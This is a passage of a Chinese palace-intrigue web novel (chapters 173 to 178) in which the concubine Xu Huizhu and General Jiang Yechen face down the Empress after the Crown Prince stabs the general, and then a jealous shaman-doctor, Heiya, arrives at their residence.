“下回太子在宫外行杀将军之事,怕是菩萨也不能回回保证将军福大命大。”
“菩萨,是苍生万物的菩萨,不是将军一人的菩萨啊。”
皇后娘娘气结:徐慧珠,闭嘴吧你!长舌鬼!搅事精!
“皇后娘娘,臣……臣失血过多,又痛又晕……就由慧珠替臣回答。”
姜夜沉说完,便虚弱地闭上双眼,只是他那双手极不安分,一会儿捏她的手指,一会儿挠痒她的手心……
惹得徐慧珠好想训姜夜沉一顿。
他都受伤了,现下说着正事,他倒好,竟还忍着身体上的疼痛……撩拨她?
“徐氏,本宫说了,姜夜沉只受的轻伤,轻伤而已,仔细将养十天半月便可痊愈。”
“来人,赏赐姜夜沉燕窝两斤,百年人参两株,黄金两千两。”
“徐氏,你该满意了吧?”
第173章:一个妾室,嚣张如此?
皇后娘娘支付的诊金,倒是下了血本。
诚意也勉强够。
皇后娘娘:黄金两千两,买姜夜沉闭紧嘴巴。
想来是姜夜沉大赚一笔,不,该说是姜夜沉使下作的苦肉计,不仅伤太子的脸面,还敲诈太子一大笔黄金。
姜夜沉该知足,更该见好就收。
再继续拿乔,就是姜夜沉不要脸了。
“谢皇后娘娘厚赐。”徐慧珠此刻身为姜夜沉的嘴替,补偿照要,公道得讨。
太子这般十恶不赦的蠢货坏种,总是作死挑衅旁人的底线。
可惜,太子碰上的是姜夜沉,如太子所言,姜夜沉是太子人生里的克星。
那就,姜夜沉动手撕开太子的一层人皮,让世人瞧见他的肮脏品德和丑陋面目。
“不过,臣妇实在不懂,臣妇和太医院诸位太医为将军诊治过后,证明将军伤得极重,险些丧命。”
“臣妇不知,皇后娘娘为何一再坚持将军受的轻伤?”
“皇后娘娘会医术?整个太医院太医们的医术都比不过皇后娘娘您?”
“臣妇不懂,皇后娘娘又为何一再肯定太子殿下是醉酒失智伤人,而不是头脑清醒行凶?臣妇可没在太子殿下身上闻到半点酒气?”
“皇后娘娘您是尊贵无双的国母,是世间女子尊崇的典范,可……可臣妇现下十分疑惑,臣妇学习您什么?指鹿为马?睁眼说瞎话的本事吗?”
徐慧珠一番话说完,比伸手扇皇后娘娘耳光痛百倍。
便是厉贵妃,此刻也满目震惊地盯着徐慧珠,一个妾室,嚣张如此?
她在最美好最盛宠的年华,同皇后娘娘斗得如火如荼,争得汹涌澎湃之时,也不敢这般质问。
毕竟,那人是皇后娘娘。
皇上目光落在厉贵妃身上,威压十足。
即便热闹看得未尽兴,厉贵妃也不敢顶着圣怒继续看皇后娘娘和太子的笑话。
厉贵妃极有眼色,“臣妾先告退了。”
皇后娘娘从前有多嫌恶厉贵妃那个狐狸精,现在千倍恨毒徐慧珠。
**!
哪怕,皇后心知肚明,徐慧珠敢这般大不敬,实则姜夜沉授意。
“大胆徐氏,放肆!”
“徐氏,你意欲何为?”
“难道要太子为姜夜沉偿命?又或者让姜夜沉刺回去?”
皇后娘娘怒到理智全无,“皇上,太子是我们的亲子,更是东宫储君,皇上您就眼睁睁瞧着徐氏一个卑贱的妾室,欺辱安国国母?逼迫安国储君?”
“是何道理?”
“传出去,莫说安国百姓,怕是别国,指着我们的脊梁骨笑。”
盛怒中的皇后娘娘这一刻看不到皇上眼里的冷漠,“皇上,姜夜沉又没死,而您的亲子——东宫太子被您踢吐血了,您看不见吗?”
“还不够吗?”
皇后娘娘咽下喉咙里的腥血,也吞下未说出口的质问。
其实,皇后娘娘无数回想直白问一句:皇上您偏信偏宠偏疼偏护姜夜沉,连储君之位也给吗?这安国**江山改姓姜?
皇后娘娘这话,说得极为严重。
气氛僵硬。
龙撵够宽敞,以至于姜夜沉舒服地躺着,头枕在徐慧珠的腿上。
唯有皇后娘娘和太子都跪着,狼狈至极。
暮歌身为东宫太子妃,理应陪跪。
她只有旁听的资格,皇上没问话,或皇后娘娘未示意,便无她说话的资格。
正所谓,旁观者清,当局者迷。
暮歌看得清楚,皇上看姜夜沉的眼神,满是慈爱。
就像,一位慈父在看自己的儿子。
怎么会?
不,不可能。
姜夜沉的身份简单清楚,世人皆知。
正因此,皇后娘娘和厉贵妃才没有怀疑姜夜沉是皇上的私生子。
皇上目色冰冷,在看见太子执剑刺入姜夜沉胸口的那一刻,那个他酝酿许久的念头……尘埃落定。
“曹文?”
皇上没理会皇后娘娘,直接下令。
“臣在。”
“送太子去守皇陵,为期两月,即刻秘密出发,对外就说太子突发急病,即日起医正住在东宫。”
“是,臣领旨。”曹文起身时,偷偷望了一眼徐慧珠。
皇后娘娘不容易激怒,可徐慧珠像是
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捏住皇后娘娘的七寸,一激便怒,怒到丧失理智,没了思考的能力。
“不。”皇后娘娘蹭地起身,许是跪得久了,她踉跄两步,恰好摔到曹文的面前。
“不,皇上,臣妾绝不同意。”
“太子是储君,东宫才是他该待的地方。”
“臣妾已答应送凝玉去守皇陵,臣妾的心,被生生挖掉一块,鲜血淋漓,痛到窒息……”
“皇上现在又惩罚太子去守皇陵,下一次,皇上是不是送臣妾去?”
“如此一来,臣妾给人腾出君后殿,太子给人腾出东宫?”
“皇上,这是您想要的吗?”
皇后娘娘的心,往下坠,坠入无底深渊。
这样的局面,她再不明白怎么回事,当了多年的皇后,真真是白当。
皇上欲废太子,皇上爱的是厉贵妃,便是那姜夜沉,早已暗里投靠大皇子李明远……
都在这里演戏呢。
徐慧珠却和姜夜沉咬耳朵,“将军,太子殿下和凝玉公主身为晚辈,守护先祖的阴灵,于私尽孝,于国尽忠,怎么能是惩罚?”
“皇后娘娘的想法,我不能苟同。”
两人咬耳朵的行为,已经够不要脸面。
偏偏,徐慧珠说话的声音,在场的人听得清楚。
……
姜夜沉在府里养伤,难得过上二人世界的逍遥快活日子。
一日三餐,穿衣脱衣,皆要求徐慧珠贴身伺候。
不知情的,还以为太子砍断了姜夜沉的十指,从此生活不能自理,好有完美理由赖上黏上徐慧珠。
“夫人,陪我下一局棋,你左手执黑棋,代表为夫,为夫说置棋子于哪处,你便放哪里。”
“辛苦夫人了。”
徐慧珠:我看将军“阴险狡诈”如黑棋。
大福禀告:“将军,大皇子殿下登门探望您。”
“大皇子殿下带来一名巫医,说是有望治愈您的隐疾。”
“将军,您看,见还是不见?”
太子被皇上下旨秘密送到皇陵反省,这件事情做得再隐秘,厉贵妃很快就得知内情。
告密者是......
第174章:皇后娘娘病得不轻,心思更重
告密者是暮歌。
当然,厉贵妃埋在君后殿的暗桩后脚确认消息的真实性。
厉贵妃又将消息递给大皇子李明远。
因此,大皇子李明远登将军府的门,意料之中。
“大皇子打算趁机落井下石,将太子‘摁死’在皇陵,若百姓知道太子的德行,怕是会生出民怨,聚集跪在宫门处,请求皇上废太子另立贤能……”
“大皇子这是不死心?拉拢将军你为他保驾护航?”
“也是,不论是大皇子还是太子,他们在拉拢将军的路上,真心没展示几分,却时常来回作死。”
徐慧珠曾在姜夜沉的书房里见过先北疆王和王妃的画像,确实王妃的基因强大,姜夜沉的容貌几乎复刻王妃。
一点儿不像先北疆王,也一点儿不像皇上。
太子和大皇子李明远对姜夜沉由嫉妒生恨,恨到算计姜夜沉的性命,而这局面的造成,皇上要负一半责任,实在太过偏宠偏护姜夜沉。
当然,另一半原因在于姜夜沉自身,他的光芒遮挡住太子和大皇子李明远,一介臣子,怎能做夜空中那颗最为闪亮耀眼的星。
“大福,去告诉大皇子,就说本将军病得下不了床榻,容颜憔悴,不便见人。”
姜夜沉迟疑一瞬,“既然大皇子一片好意,巫医留下。”
“待本将军病愈,当面致谢。”
大福只能隔着门禀报,将军前几日突然下一道莫名其妙的命令,不许任何人进内室,影响他和夫人交流感情。
包含将军的贴身护卫大福。
也包含徐慧珠的贴身奴婢“三金”。
大福私下向金夏倾诉疑惑:将军和夫人日夜腻歪在一起,有那么多话说?有那么多事做?
不对劲?
将军不能人道,面对秀色可餐的夫人,只可欣赏,不能品尝。
将军不觉得尴尬?难受?煎熬?
好在大福的丰富内心戏,姜夜沉不得而知,不然,大福就得滚回锦衣卫训练营重造。
大福领命离去。
自徐慧珠嫁给姜夜沉,她身兼多职,是他的夫人,也是他的药引,还是他的大夫。
除过神医,唯有她可接近姜夜沉。
“将军不见大皇子,却留下大皇子寻来的巫医,将军此举,是给故意给大皇子希望?还是将军的确需要那名巫医?”
巫医一脉,在安国存在稀少,毕竟巫医行医之法颇为怪异,常人很难接受。
“是大皇子寻来巫医?还是巫医主动找上大皇子?”
姜夜沉看向窗外,院子里桂花香气随风飘入内室,他想到在丽云夫人入京的那一日收到师父的密信。
师父叫他无论如何护一回那人的性命。
“来自溟山的巫医。”
“名黑崖。”
“我该称一句‘黑崖师叔’。”
徐慧珠对巫医了解甚少,普神医好似对巫医成见颇深,提说巫医之时,满眼尽是嫌弃。
“难道……和丽云夫人有关?”徐慧珠问道。
“丽云夫人前脚来京,巫医黑崖后脚追来,这两人……”
姜夜沉点头,以徐慧珠的聪慧,不难猜到。
只是,姜夜沉没说得更细致,比如,黑崖师叔将他当作情敌,嫉恨多年。
比如,当年丽云夫人逃回溟山寻求庇佑,黑崖师叔不计前嫌许以婚事,护她周全,尊称一句“丽云夫人”。
……
皇上这回大方,直接批准两个月假期。
在出宫之前,皇上仍气难消,当着徐慧珠的面,训斥姜夜沉半个时辰。
直到姜夜沉体力不支,晕过去。
当然,姜夜沉是装晕。
皇上心里清楚,舍不得揭穿姜夜沉罢了。
先是凝玉公主,后是太子殿下,皇后娘娘的一双儿女尽折。
当夜,皇后娘娘病了,病得严重,下不来床榻,还吐了血。
暮歌日日侍疾,如同亲母,无半句怨言,无半分敷衍。
“皇上好狠的心啊。”
“为保护李氏皇族的先祖们,唯有历代君王知道皇陵的具体地点,本宫甚至不知太子和凝玉被送去哪里……”
“如果皇上冷血无情,一丁点儿骨肉亲情都不顾,要太子和凝玉的性命?”
暮歌赶忙捂住皇后娘娘的嘴,着急了些,差点捂死皇后娘娘。
“母后莫再说了,小心隔墙有耳。”
暮歌安抚道,“母后,您得保重身子才是。”
“皇上只说惩罚太子殿下和凝玉公主,又没说不让他们回宫。”
“都得依靠您啊,母后。”
暮歌说的大实话,说到皇后娘娘心坎上。
老话说:久病床前无孝子。
皇后娘娘觉得自己可怜可悲,先不说儿女是否孝顺,她缠绵床榻,却连儿女都见不着。
“这回的确是太子行事过分,怎能在本宫的君后殿外动手?又运气差到被皇上亲眼撞见?”
“唉……”
“太子说得对,姜夜沉就是皇上养着的一条狗,太子打狗也得看皇上这个主子的脸。”
“皇上不得已惩罚太子,也是为封姜夜沉的口,为保护太子。姜夜沉的几重身份,轻易杀不得,此事一旦传出去,于太子大不利啊。”
皇后娘娘病得不轻,心思更重。
“本宫怀疑大皇子和姜夜沉暗里勾结,故意使下作手段害太子……”
皇后娘娘不够聪慧,却想得太多,还执拗地自信自负。
暮歌便顺着皇后娘娘的意,往下接话:“母后,儿媳心中有一个不成熟的计策,或许可破太子之困局。”
皇后娘娘心中不悦,对暮歌的不喜浓了几分。
她想到头痛,还没想出求皇上收回圣命的法子,暮歌凭什么想得到?
衬托她蠢吗?
“你能有什么法子?跪在君皇殿外,磕的头破血流?哭得楚楚可怜?”
“暮歌,你不了解皇上。”
暮歌这枚棋子,皇后娘娘眼下正用得顺手称意,打一巴掌,也得好言哄上两句。
她一时善心滋生,说道,“暮歌,你说说看。”
暮歌凑近了些,一副小心翼翼的模样,压低声音将计划如数托出。
话音落,皇后娘娘震怒,扬起手,扇向暮歌,骂道:“贱人,你也敢害太子?”
“是本宫给你脸了?”
暮歌噗通跪在地上,解释道,“母后,求您听儿媳解释……”
第175章:一张如花似玉的脸,毁掉多可惜
“哼,有什么好解释的。”
“钱暮歌,本宫万万没想到,你是一个心肠歹毒的白眼狼,枉本宫心软将你从厉贵妃那个火坑里救出来,本宫就该眼睁睁看着你烧死……”
皇后娘娘骂完,犹不解气,若不是身子虚弱,她定会抽烂暮歌的嘴,让她痛彻领悟敢算计太子的下场。
“太医说,母后您郁结于心,只要您宣泄出心中的不快,您的病很快痊愈。”
“儿媳不痛。”
“儿媳无怨。”
暮歌的额头一片红肿,眼里无半分怨怼。
皇后娘娘心下一怔,难道?
难道是她误会了暮歌?
“母后,儿媳如今是东宫太子妃,将来是皇后。”
“儿媳心里,知轻重。”
“儿媳明白,想要什么。”
“儿媳所用计策,看似损害太子殿下的名声,实则助太子殿下回宫。”
果然,皇后娘娘神色渐松,又禁不住得意,她成功洗脑了暮歌,十足拿捏。
皇后娘娘:梦做得挺美,可惜是黄粱美梦。
皇后娘娘的神色变化,暮歌尽收眼底,身体疼痛已麻木,心里恨意却如浪潮翻涌。
“起来吧。”皇后娘娘语气责怪,她不能有错,错的都是旁人。
“暮歌,本宫疼你护你,并非要求你感恩,而是成全本宫和你这一世的‘母女情缘’。”
“不然,以你的出身,如何能配得上太子。”
“暮歌,你得记住,唯有太子,能给你太子妃的尊贵身份。唯有本宫,你的太子妃之位才能坐得稳当。”
皇后娘娘看到暮歌额头的红肿,心里满意,嘴上却埋怨:“你看看你,磕头那么实诚做甚?一张如花似玉的脸,毁容多可惜。”
比这十倍的痛,暮歌已经历过,是太子那个魔鬼给的。
无数个午夜梦回,暮歌被噩梦魇住,那是一条又黑又潮湿的路,看不到尽头,也走不到终点。
那一路上,她遇见的皆是恶人,他们联手将她推入深渊,却无耻地以救世主或恩人姿态自居。
真当她又蠢又傻?
没有人会对她好。
她存在的意义,是被人利用,被人掌控,被人害死……她已承受太多恶意。
是徐慧珠说服了她,女子一生本就艰难,与其信赖旁人,不如依靠自己。
因为,唯有自己,会真心实意、长长久久爱自己。
绝无背叛。
“是儿媳的错。”
“是儿媳未说清楚,惹得母后误会。母后也是心疼太子殿下,一片慈母情意,儿媳感动又羡慕。”
“儿媳何其幸运,成为太子妃……”
暮歌起身,规规矩矩站在床榻边,眼里尽是恭敬柔顺之色。
在皇后娘娘看来,不管她如何言语辱骂或殴打暮歌,暮歌已被她训练成一条愚忠的狗,摇晃尾巴称赞“主人”骂得好打得好。
**嘛,骨血里就是贱。
瞧见皇后娘娘眼里的纠结,暮歌再添一把柴火,“母后您想啊,两个月的时间,太子殿下不在东宫,您一人苦苦支撑,既得应付厉贵妃,还得防备大皇子……”
“再说,太子殿下伤了大将军是皇上亲眼瞧见的事实。”
“何不转移皇上心里的怒火?”
“自古以来,君王都不喜‘兄弟相残’。这回,让太子殿下暂且忍耐,委屈太子殿下演一出受害者的戏。”
“母后,儿媳愿为您解忧。”
暮歌在皇后娘娘面前并未隐藏惧怕太子的情绪,当初太子殴打暮歌,怎一个惨目忍睹了得。若非暮歌出身钱氏,太子德行恶劣,姜夜沉暗里使力,皇上才会许以太子妃补偿。
唯有将暮歌强行拉入东宫势力,可护住其性命。
暮歌是受害者,可她也是太子暴虐的实证。
皇后娘娘绝不会让暮歌活着,唯有**,才威胁不到太子半分。
至于暮歌的亲人,上至厉贵妃和大皇子李明远,再到家里父母,都是希望她**更好些。
以她的死,换取更多利益。
将军府里。
巫医黑崖满目寒霜,语气不善,“姜夜沉,我和你有事商谈,外人回避。”
这里的外人,指名道姓徐慧珠。
对黑崖这位长辈,徐慧珠第一印象极差。
“将军,我去药房。”
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>徐慧珠正欲起身,却被姜夜沉捉住手。
“黑崖师叔人在溟山,不知外间事。”
“慧珠是我的夫人,将军府的女主人。”
“黑崖师叔,这回,我就原谅您的无理。”
姜夜沉与黑崖目光对视,并无惧色。
他们之间的关系本就冷淡至极,说是仇人不为过。
当然,是黑崖单方面视姜夜沉为仇人,他再敢摆长辈姿态,不要脸面又可笑。
“将军府的女主人?”
黑崖冷笑道,“一介妾室?”
“将军府倒是好大的规矩,让妾室掌家?丢脸至极!”
“姜夜沉,你在战场上,也是这般糊涂,随意任命伙兵打前锋不成?”
此言一出,可见将军府发生的事情,不说黑崖了解的事无巨细,但大致知情。
“徐氏慧珠见过黑崖师叔。”徐慧珠被骂,脸上仍带笑意。
“黑崖师叔好气魄,骂人都是当面骂,果然乃性情中人,品德高尚。”
“打今日起,黑崖师叔就是慧珠心中敬仰之人。”
黑崖骂姜夜沉,她徐慧珠心疼夫君,莫怪她回骂敬上。
再说,她叫黑崖一声师叔,按照规矩,他不得给一份见面礼?
她是姜夜沉的妾室没错,但黑崖有何资格羞辱她?
“你……你?”黑崖万万没想到徐慧珠一个妾室,规矩差,脾气大,心眼多。
“黑崖师叔有事便说,慧珠是我的夫人,怎是外人?”
“说到外人?”
姜夜沉顿了一下,说道,“黑崖师叔您远道而来,是客人。”
“只是,我有一事不明,还请黑崖师叔解惑。”
黑崖禁不住多看姜夜沉几眼,容貌和气息未变。
何时变得话多?
这人,是被夺魂夺魄了吗?
姜夜沉才不会好心告诉黑崖一个道理:近朱者赤,受徐慧珠影响,他亦学会用言语伤人,甚至**。
“黑崖师叔投靠大皇子殿下,是打算脱离溟山?划清界限?”
“师父可知情?”
黑崖的脸上染上几分慌乱,足以证明他的心里,此刻一片慌乱......
第176章:一个妾室,生得成千上万个心眼
黑崖被姜夜沉一连串质问,丢尽脸面,怒道:“姜夜沉,我的事情,不劳烦你操心。”
哪知,姜夜沉状似随意答道,“黑崖师叔多心了,本将军不操心,不过好奇问一句罢了。”
“本将军曾听师父说过,黑崖师叔您在溟山历代先祖灵牌前起誓,终生不下溟山。”
“巫医入世,族灭医断。”
“黑崖师叔,您要成为巫医一族的罪人?”
黑崖:……
好想撕烂姜夜沉的嘴。
闭嘴吧。
不,还想拧断姜夜沉的脖子。
为了情爱,他放弃喜欢的巫医之术。为了一个女人,他放弃心中的梦想和一生所求。
人人都问他,值得吗?
他也想问自己一句:值得吗?
“我不与你说这些。”
“丽云她还是来寻你了。”
“姜夜沉,你和丽云之间到底发生过什么?是你辜负了丽云?她才会对你念念不忘。”
一只小黑蛇盘在黑崖的肩头,似是感受到主人内心的烦躁情绪,冲姜夜沉吐信子。
“黑崖师叔,请您慎言。”
“她是您的夫人。”
徐慧珠故作惊讶,“原来?黑崖师叔竟是丽云夫人的夫君?”
“可是……”
徐慧珠下一句话,气得黑崖师叔差点控制不住火气,扯下肩头的小黑蛇甩到徐慧珠的脸上。
让她闭嘴。
“身为人夫,张口就往丽云夫人身上喷粪,玷污丽云夫人的清誉。难道?”
“黑崖师叔根本不爱丽云夫人?”
“黑崖师叔攀附上大皇子殿下这根高枝,以为自己能娶到皇家公主郡主?迫不及耐抛弃糟糠之妻?”
徐慧珠擅长胡扯,懂得如何气人。
丽云夫人不知大皇子李明远今日登门探望姜夜沉,亦不知黑崖也下溟山寻她。
姜夜沉见黑崖前,命大福走一趟紫藤院请丽云夫人。
果然,丽云夫人一瞧见大福,心里连日来笼罩的烦闷和委屈,转瞬消散。
“丽云夫人,我家将军有请。”
“阿夜肯见我了?”丽云夫人眼里染上欢喜之色,“我就知道,阿夜见到我,就会解开当年心结。”
“解铃还须系铃人。”
“我和阿夜也算经历住上天考验,苦尽甘来。”
大福听得一脸莫名其妙。
丽云夫人在发什么感叹?
这些胡话,也是她能说的?
将军,也是她能明抢的?
将军府的女主人,他大福和将军一样,只认夫人。
丽云夫人说了半晌,得不到大福一句回应,心想:阿夜身边的奴才,莫不是被徐慧珠收买了?
一个妾室,生得成千上万个心眼子。
待她在将军府做主,定将满府奴才清换,绝不能留下徐慧珠生活过的痕迹。
一路无话。
丽云夫人刚走到主院,听到熟悉的声音。
他追来了?
不是,徐慧珠在满嘴喷什么脏污?
黑崖何时攀附上大皇子?他不打算传承巫医术,想要为官?
徐慧珠还说什么?黑崖不爱她?抛弃她?妄想求娶皇家公主郡主,以捷径登高位?
她怎么就成了糟糠之妻?
“徐氏!”黑崖阴脸冷眼,趴在肩头吐信子的小黑蛇受到惊吓钻入主子的衣袖里隐匿。
他以巫医术相助大皇子李明远为代价,换取大皇子李明远引荐他入国药局,任命四品医官。
他曾不屑入世为官,可他知道,他为官,她会欢喜。
为了讨她欢喜,他屈膝卑躬向权贵出售巫医术,甚至出卖自己的骄傲和灵魂。
他对丽云的真心痴情,容不得旁人践踏。
徐慧珠受到惊吓,手里的茶杯落地,瓷器碎裂。
“将军……”徐慧珠眼圈发红,声音发颤。
“我不过是就事论事猜测,也为丽云夫人鸣不平。”
“不管怎么说,丽云夫人是婆母的娘家小妹,便是长辈。”
“黑崖师叔污丽云夫人的清誉,我们若忍气吞声,如何对得住亡去的婆母。”
“将军,难道……我错了吗?”
“黑崖师叔吓唬本将军的夫人做甚?”姜夜沉自是瞧见黑崖眼里一瞬而过的杀气。
“黑崖师叔,这里是天下脚下的京城,在本将军的将军府,不是溟山,更不是黑崖师叔的巫医族。”
下一句姜夜沉没说:将军府容不得黑崖放肆。
徐慧珠与姜夜沉一唱一和,补刀及时,“不知,丽云夫人若听到黑崖师叔嫌她是糟糠之妻,意欲抛之弃之,该是何等伤心啊。”
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“同为女子,我可怜丽云夫人的悲惨遭遇,更替丽云夫人不值。”
论嘴皮子功夫,十个黑崖十张嘴同时发声,都不是徐慧珠的对手。
丽云夫人不愿见黑崖,心里更恼怒的不行,她还需要很多时间来治愈姜夜沉,以达到自己的目的,这样关键时候,黑崖来添什么乱?
为何纠缠她的是黑崖?而不是姜夜沉。
丽云夫人转身离开,却被大福挡住。
“丽云夫人,里面请。”
门,嘭地一声推开。
黑崖满眼热切,他终于见到朝思暮想的人儿。
“丽云?”
“我……我来寻你。”
“京城之地表面繁华似锦内里人心险恶,丽云,你一个弱女子来京城,我……我如何放心?要是被欺负,谁给你撑腰?”
黑崖说话时,眼神飘向姜夜沉,语气透着一股酸味。
丽云夫人明知道徐慧珠刚刚那一番话就是在故意胡说,但她还是被“糟糠之妻”气到了。
这气,自然而然撒向黑崖。
反正,他时常受她的气,早已习惯。
丽云夫人没好气地说,“谁让你来寻我的?你答应过我,让我再任性最后一回……”
“我住在将军府,有阿夜护着,哪个不长眼的敢欺负我?”
“阿夜是北疆王,是护国大将军,是锦衣卫统领……身份尊贵,便是皇族,也得给足阿夜面子。”
黑崖的目光黏在丽云夫人身上。
可惜,丽云夫人的目光黏在姜夜沉身上。
徐慧珠觉得,自己像是看戏的观众。
“如今你看到了,我在将军府过得很好,也很安全。”
“黑崖,你先回溟山吧。”
丽云夫人只想打发走黑崖,他赖在京城,只会坏她的好事。
“丽云,你……你赶我走?”
“你可知道,我为了你答应大皇子殿下……”
黑崖怨恨自己不该心软,放丽云下溟山。
他亦恼怒自己无能,从前醉心钻研巫医术,该早早入世为官,或许已爬上与姜夜沉势均力敌的位置。
“黑崖?”丽云夫人眼露威胁之色,说道,“难道你忘了在月光下发的誓言?”
突然,小黑蛇从黑崖衣袖里探出脑袋,目露凶光......
第177章:巫医黑崖
小黑蛇似是通了主子灵性,那一双诡异蛇眼,先前冲着姜夜沉和徐慧珠时,冒着凶光,只需主子令下,它就会窜出去,咬死主子的敌人。
可,这一刻,小黑蛇小心翼翼又可怜兮兮地看向丽云夫人,那双蛇眼满是委屈至极的破碎。
和它的主子,如出一辙。
“丽云?”
即便心里千言万语,在丽云夫人的威胁下,黑崖只得咽下所有。
“不,丽云,我不走,我就留在京城,暂住在大皇子殿下的王府。”
黑崖取下一枚令牌,“丽云,你若在相府住得不开心,或有人欺负你,随时来寻我。”
“你知道的,我一直都在。”
黑崖一边讨好丽云夫人,一边警告姜夜沉和徐慧珠。
黑崖的深爱痴情,徐慧珠这个旁观者感动的差点落泪,可惜身在福中的丽云夫人却不惜福,既无动于衷又嫌弃。
世间万物的存在规则,有相生,亦有相克。
丽云夫人的无情无义大抵会克死黑崖。
黑崖执拗地给,丽云夫人不屑要。
她住在将军府,很快就是将军府的女主人,怎能要旁人的物件?她和黑崖存在的婚约肯定让姜夜沉误会了,不能再添新的误会。
至于她和黑崖的婚约,她能解释清楚。
待她细细解释一番,姜夜沉会理解她,原谅她。
“黑崖,你听不懂人话吗?”
“你这样,只会让我更烦你厌恶你。”
对峙之下,黑崖又一次服软认输。
他神色郁伤地收起令牌,“丽云,我……我走。”
可能是黑崖心中悲伤的不能自已,他落寞地往门外走去,竟忘了同姜夜沉和徐慧珠道别。
视他们为透明?
两人对望一眼,默契地生出“恶意”。
既然黑崖来者不善,刚刚还“吓到”徐慧珠,这个新仇新怨,趁热回敬,以彰显将军府的待客之道。
“黑崖师叔且慢!”在黑崖跨过门槛的那一瞬,姜夜沉出声挽留。
差一点,黑崖被门槛绊倒。
不怪黑崖心思杂乱,神情恍惚。就怪将军府的门槛修得过余高了。
“阿夜,我有重要的事情和你私下说。”
“阿夜,你相信我,很多事情不是你听说的那样,我都能解释清楚。”丽云夫人只恨自己来京好些时日,人都住进将军府,和姜夜沉在同一个屋檐下,却一丁点儿进展都没有。
她以为来日方长,万事可从长计议,哪成想,徐慧珠百般阻挠,姜夜沉心里还怨着她。
但,姜夜沉的心结,唯有她方能解开。
徐慧珠自嘲道:“丽云夫人和黑崖师叔倒是默契十足啊。”
“都把我当作外人,碍了你们的好事……”
“要不,打今日起,这将军府让给两位住?好让两位过足主人瘾?”
阿夜?
黑崖身形一顿,艰难回头,脸上的表情似苦笑似欲哭,搭配那张黝黑的脸庞,瞧着格外怪异。
亲眼看见心爱女子目光追随另外一个男人,亲耳听到心爱女子亲昵叫另一个男人“阿夜”……
这一刻,黑崖只觉得一阵天旋地转,天塌下来的窒息感袭遍全身。
丽云夫人叫出口的那句“阿夜”,还有她对姜夜沉的卑微姿态,灼伤黑崖的眼,刺痛黑崖的心。
他对她的纵容,已形成改不掉的习惯。
可,这一次,他想要“自私”一回。
他要留在将军府,亲耳听她说话,亲眼看她行事……
“姜夜沉,大皇子殿下说你身患难以启齿的隐疾,整个太医院的太医们都束手无策,或试一试巫医术。”
“我既受命于大皇子殿下,便在将军府叨扰些时日了。”
男子不能人道,这种隐疾,的确难以启齿。
但,姜夜沉是谁?他是狠起来连自己名声都利用的人。
莫说安国,就是坞国和仓国,应该都听闻堂堂杀神将军、北疆之王,权势握手,安国皇帝当作亲子袒护信任……偏偏,天公作美,姜夜沉不能人道。
一个男人连传承香火的能力都没有,他活着,是孤家寡人。
他死后,是孤魂野鬼。
“难以启齿?”姜夜沉自揭伤疤,生怕旁人用力不够,羞辱不狠。
“难为大皇子殿下为本将军的身体操碎了心,本将军十分感动。”
“黑崖师叔,大皇子殿下应该跟您说过,本将军所患隐疾,就是不能人道。”
“当初,凝玉公主以此悔婚,京城贵女见本将军如避瘟疫……唯有慧珠不在意外面的
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流言蜚语,不在乎本将军残疾之身,愿嫁给本将军,同甘共苦,相守白头。”
黑崖:……
丽云夫人:……
先是自揭伤疤,再是大秀恩爱,这两件完全不搭的事情被姜夜沉强行搅和在一处,听他说完,让人忍不住顺着他的话夸赞一句:将军有福,娶妻娶贤。
姜夜沉伸出胳膊,说道,“既是大皇子殿下一番好意,本将军岂有不受之理?”
“劳烦黑崖师叔诊脉。”
黑崖嘴角抽了抽,姜夜沉的胳膊都伸过来了,这脉,他诊也得诊,不想诊也得诊。
黑崖的手指刚摸上姜夜沉的脉搏,却听姜夜沉说,“辛苦慧珠送丽云夫人回紫藤院。”
又对着黑崖说,“本将军前几日不慎受伤,伤在胸口处,劳烦黑崖师叔一同看诊。”
姜夜沉就差直白表明,他待会儿要宽衣解带,身体不便被观赏。
丽云夫人自是听说姜夜沉受伤,今日才知伤到胸口,她瞪向徐慧珠,质问道:“徐慧珠,你因为嫉妒害了阿夜,你的良心,安吗?”
变脸术,是女子的天赋。
丽云夫人的脸色,前一瞬,**。
下一瞬,在看着姜夜沉时,笑容,风和日丽。说话,柔声细语。
“阿夜,徐慧珠好生过分。”
“得知你伤得严重,我心急如焚,我告诉徐慧珠我手里有珍贵的云回丹,求她让我见你一面。”
“可……可徐慧珠让金夏守在主院门口,不让我见你。”
“阿夜,徐慧珠还收买了你身边的大福。”
黑崖的手指颤抖,医者心乱,如何医人。
云回丹?
巫医族的救命圣药,黑崖只有两颗,其中一颗给了她。
命悬一线之时,云回丹能将人从阎王手里夺回来。
她却当着他的面,把他的云回丹,奉给另一个男人?
“丽云夫人说完了?”姜夜沉面色冷漠,“请丽云夫人回避,莫要打扰黑崖师叔为本将军看诊。”
丽云夫人气结。
她卯足劲出拳,却打在一堵石墙上,谁都没伤到。
她的手,鲜血淋漓,指骨尽断。
徐慧珠表现体贴,亲自送丽云夫人回紫藤院。
“徐慧珠,有一个秘密,你想不想听?”
第178章:家丑,有时候也得扬一扬
“与阿夜有关。”
人已送到,徐慧珠才没闲情逸致陪丽云夫人聊天。
很明显,丽云夫人不乐意放过她。
“不想。”徐慧珠直接拒绝。
她偏不让丽云夫人如意。
“徐慧珠,你……”丽云夫人想到什么,突然笑了。
“徐慧珠,你是不想听?还是不敢听?”
“其实,你的心里,早有怀疑……”
“那么,我来告诉你,早在五年前,我和阿夜很亲密,他是我的,我也是他的。”
“我是阿夜的救命恩人,也是阿夜的女人。”
“徐慧珠,不信,你去问阿夜啊。”
徐慧珠一记白眼,转身离开。
......
夜里。
大皇子李明远的王府。
“回禀大皇子殿下,姜夜沉的确伤在胸口,再深一寸,性命之忧。”
大皇子李明远叹息道,“唉,可惜了。”
“要怪就怪太子的武先生是个废物,没将太子教好。”
“杀个人,都杀不死。”
“废物废物!”
大皇子李明远心想,若换作他,定会一剑刺穿姜夜沉的身体,不给姜夜沉活的机会。
这话,黑崖懒得接。
皇权争斗,与他无关。
当然,他内心同时鄙夷太子和大皇子李明远,无容人之量,无御人之能。他日不论谁为君,莫说开拓疆土,就是守住安国**江山,也是难。
倒是姜夜沉……
于私,他嫉恨姜夜沉多年。
于公,他欣赏姜夜沉的品德和能力。
黑崖禀告另外一件事。
“根据脉象,姜夜沉不能人道,药石无灵。”
这样的结果,大皇子李明远并不意外,但他不信。
因为,他相信自己的直觉。
“黑崖先生当真确定?”
“姜夜沉的身体自来由神医负责,神医医术远高于太医院的医正大人,如果神医使了障眼法,黑崖先生恐怕也看不出来吧。”
